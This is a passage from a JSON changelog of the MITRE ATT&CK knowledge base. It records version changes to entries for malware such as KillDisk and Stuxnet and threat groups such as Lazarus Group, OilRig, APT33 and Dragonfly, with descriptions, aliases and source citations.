"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/" }, { "source_name": "Palo Alto Unit 42 EKANS", "description": "Hinchliffe, A. Santos, D.. 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[KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0607", "external_id": "S0607" }, { "source_name": "KillDisk Ransomware", "description": "Catalin Cimpanu. (2016, December 29). KillDisk Disk-Wiping Malware Adds Ransomware Component. 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Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.(Citation: Wired W32.Stuxnet Dossier Feb 2011)(Citation: Symantec W32.Stuxnet Writeup)(Citation: CISA ICS Advisory (ICSA-10-238-01B))(Citation: SCADAhacker Stuxnet Mitigation Jan 2014)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Software/S0010", "external_id": "S1008" }, { "source_name": "Wired W32.Stuxnet Dossier Feb 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.", "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" }, { "source_name": "Symantec W32.Stuxnet Writeup", "description": "Jarrad Shearer. (n.d.). W32.Stuxnet Writeup. Retrieved October 22, 2019.", "url": "https://www.symantec.com/security-center/writeup/2010-071400-3123-99" }, { "source_name": "CISA ICS Advisory (ICSA-10-238-01B)", "description": "CISA. (2014, January 08). Stuxnet Malware Mitigation (Update B). Retrieved October 22, 2019.", "url": "https://www.us-cert.gov/ics/advisories/ICSA-10-238-01B" }, { "source_name": "SCADAhacker Stuxnet Mitigation Jan 2014", "description": "Joel Langill. (2014, January 21). Stuxnet Mitigation. Retrieved October 22, 2019.", "url": "https://scadahacker.com/resources/stuxnet-mitigation.html" }, { "source_name": "Langer Stuxnet Analysis Nov 2013", "description": "Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved March 27, 2018.", "url": "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Stuxnet" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" } ] }, "groups": { "additions": [], "major_version_changes": [ { "type": "intrusion-set", "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:03.807000+00:00", "modified": "2021-10-14 22:04:58.182000+00:00", "name": "Lazarus Group", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). ", "aliases": [ "Lazarus Group", "HIDDEN COBRA", "Guardians of Peace", "ZINC", "NICKEL ACADEMY" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0032", "external_id": "G0032" }, { "source_name": "Lazarus Group", "description": "(Citation: Novetta Blockbuster)" }, { "source_name": "HIDDEN COBRA", "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)" }, { "source_name": "Guardians of Peace", "description": "(Citation: US-CERT HIDDEN COBRA June 2017)" }, { "source_name": "ZINC", "description": "(Citation: Microsoft ZINC disruption Dec 2017)" }, { "source_name": "NICKEL ACADEMY", "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)" }, { "source_name": "US-CERT HIDDEN COBRA June 2017", "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" }, { "source_name": "Treasury North Korean Cyber Groups September 2019", "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.", "url": "https://home.treasury.gov/news/press-releases/sm774" }, { "source_name": "Novetta Blockbuster", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" }, { "source_name": "US-CERT HOPLIGHT Apr 2019", "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" }, { "source_name": "Microsoft ZINC disruption Dec 2017", "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.", "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/" }, { "source_name": "Secureworks NICKEL ACADEMY Dec 2017", "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.", "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 22:04:58.182000+00:00\", \"old_value\": \"2021-03-18 16:34:25.941000+00:00\"}, \"root['description']\": {\"new_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \", \"old_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\\n\\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\\n+[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\\n \\n-North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.\\n+North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"Treasury North Korean Cyber Groups September 2019\", \"old_value\": \"Novetta Blockbuster\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"US Treasury . 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Old Description
New Description
t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a 
>threat group that has been attributed to the North Korean go>North Korean state-sponsored cyber threat group that has bee
>vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou>n attributed to the Reconnaissance General Bureau.(Citation:
>p has been active since at least 2009 and was reportedly res> US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko
>ponsible for the November 2014 destructive wiper attack agai>rean Cyber Groups September 2019) The group has been active 
>nst Sony Pictures Entertainment as part of a campaign named >since at least 2009 and was reportedly responsible for the N
>Operation Blockbuster by Novetta. Malware used by [Lazarus G>ovember 2014 destructive wiper attack against Sony Pictures 
>roup](https://attack.mitre.org/groups/G0032) correlates to o>Entertainment as part of a campaign named Operation Blockbus
>ther reported campaigns, including Operation Flame, Operatio>ter by Novetta. Malware used by [Lazarus Group](https://atta
>n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.>ck.mitre.org/groups/G0032) correlates to other reported camp
> (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou>aigns, including Operation Flame, Operation 1Mission, Operat
>p](https://attack.mitre.org/groups/G0032) used KillDisk, a d>ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett
>isk-wiping tool, in an attack against an online casino based>a Blockbuster)  North Korean group definitions are known to 
> in Central America. (Citation: Lazarus KillDisk)  North Kor>have significant overlap, and some security researchers repo
>ean group definitions are known to have significant overlap,>rt all North Korean state-sponsored cyber activity under the
> and the name [Lazarus Group](https://attack.mitre.org/group> name [Lazarus Group](https://attack.mitre.org/groups/G0032)
>s/G0032) is known to encompass a broad range of activity. So> instead of tracking clusters or subgroups, such as [Andarie
>me organizations use the name Lazarus Group to refer to any >l](https://attack.mitre.org/groups/G0138), [APT37](https://a
>activity attributed to North Korea.(Citation: US-CERT HIDDEN>ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre.
> COBRA June 2017) Some organizations track North Korean clus>org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr
>ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar>oups/G0094).   
>us Under The Hood Blog 2017) [APT37](https://attack.mitre.or 
>g/groups/G0067), and [APT38](https://attack.mitre.org/groups 
>/G0082) separately, while other organizations may track some 
> activity associated with those group names by the name Laza 
>rus Group. 
" }, { "type": "intrusion-set", "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-10-15 22:04:08.941000+00:00", "name": "OilRig", "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", "aliases": [ "OilRig", "COBALT GYPSY", "IRN2", "HELIX KITTEN", "APT34" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0049", "external_id": "G0049" }, { "source_name": "OilRig", "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)" }, { "source_name": "COBALT GYPSY", "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)" }, { "source_name": "IRN2", "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)" }, { "source_name": "HELIX KITTEN", "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)" }, { "source_name": "APT34", "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)" }, { "source_name": "Palo Alto OilRig April 2017", "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/" }, { "source_name": "ClearSky OilRig Jan 2017", "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", "url": "http://www.clearskysec.com/oilrig/" }, { "source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" }, { "source_name": "Palo Alto OilRig Oct 2016", "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" }, { "source_name": "Unit 42 Playbook Dec 2017", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", "url": "https://pan-unit42.github.io/playbook_viewer/" }, { "source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" }, { "source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" }, { "source_name": "Secureworks COBALT GYPSY Threat Profile", "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy" }, { "source_name": "Crowdstrike Helix Kitten Nov 2018", "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" }, { "source_name": "Check Point APT34 April 2021", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Robert Falcone", "Bryan Lee" ], "x_mitre_version": "3.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:04:08.941000+00:00\", \"old_value\": \"2021-04-26 12:59:49.642000+00:00\"}, \"root['description']\": {\"new_value\": \"[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)\", \"old_value\": \"[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)\", \"old_value\": \"This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][15]\": {\"source_name\": \"Check Point APT34 April 2021\", \"description\": \"Check Point. (2021, April 8). Iran\\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.\", \"url\": \"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 3.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[OilRig](https://attack.mitre.org/groups/G0049) is a suspectt1[OilRig](https://attack.mitre.org/groups/G0049) is a suspect
>ed Iranian threat group that has targeted Middle Eastern and>ed Iranian threat group that has targeted Middle Eastern and
> international victims since at least 2014. The group has ta> international victims since at least 2014. The group has ta
>rgeted a variety of industries, including financial, governm>rgeted a variety of sectors, including financial, government
>ent, energy, chemical, and telecommunications, and has large>, energy, chemical, and telecommunications. It appears the g
>ly focused its operations within the Middle East. It appears>roup carries out supply chain attacks, leveraging the trust 
> the group carries out supply chain attacks, leveraging the >relationship between organizations to attack their primary t
>trust relationship between organizations to attack their pri>argets. FireEye assesses that the group works on behalf of t
>mary targets. FireEye assesses that the group works on behal>he Iranian government based on infrastructure details that c
>f of the Iranian government based on infrastructure details >ontain references to Iran, use of Iranian infrastructure, an
>that contain references to Iran, use of Iranian infrastructu>d targeting that aligns with nation-state interests. (Citati
>re, and targeting that aligns with nation-state interests. (>on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig 
>Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O>Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P
>ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat>alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20
>ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook >17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA
>Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit >DAGENT July 2018)
>42 QUADAGENT July 2018) This group was previously tracked un 
>der two distinct groups, APT34 and OilRig, but was combined  
>due to additional reporting giving higher confidence about t 
>he overlap of the activity. 
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(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", "aliases": [ "APT33", "HOLMIUM", "Elfin" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0064", "external_id": "G0064" }, { "source_name": "APT33", "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)" }, { "source_name": "HOLMIUM", "description": "(Citation: Microsoft Holmium June 2020)" }, { "source_name": "Elfin", "description": "(Citation: Symantec Elfin Mar 2019)" }, { "source_name": "FireEye APT33 Sept 2017", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" }, { "source_name": "FireEye APT33 Webinar Sept 2017", "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", "url": "https://www.brighttalk.com/webcast/10703/275683" }, { "source_name": "Microsoft Holmium June 2020", "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.", "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/" }, { "source_name": "Symantec Elfin Mar 2019", "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-05-26 12:40:42.907000+00:00\", \"old_value\": \"2020-07-01 15:48:20.759000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 1.4" }, { "type": "intrusion-set", "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:05.217000+00:00", "modified": "2021-10-12 22:07:18.072000+00:00", "name": "Dragonfly", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", "aliases": [ "Dragonfly", "TG-4192", "Crouching Yeti", "IRON LIBERTY", "Energetic Bear" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0035", "external_id": "G0035" }, { "source_name": "Dragonfly", "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)" }, { "source_name": "TG-4192", "description": "(Citation: Secureworks IRON LIBERTY July 2019)" }, { "source_name": "Crouching Yeti", "description": "(Citation: Secureworks IRON LIBERTY July 2019)" }, { "source_name": "IRON LIBERTY", "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)" }, { "source_name": "Energetic Bear", "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)" }, { "source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" }, { "source_name": "Secureworks IRON LIBERTY July 2019", "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.", "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector" }, { "source_name": "Symantec Dragonfly Sept 2017", "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" }, { "source_name": "Fortune Dragonfly 2.0 Sept 2017", "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" }, { "source_name": "Dragos DYMALLOY ", "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.", "url": "https://www.dragos.com/threat/dymalloy/" }, { "source_name": "Secureworks MCMD July 2019", "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.", "url": "https://www.secureworks.com/research/mcmd-malware-analysis" }, { "source_name": "Secureworks Karagany July 2019", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 22:07:18.072000+00:00\", \"old_value\": \"2021-04-06 18:40:51.440000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": 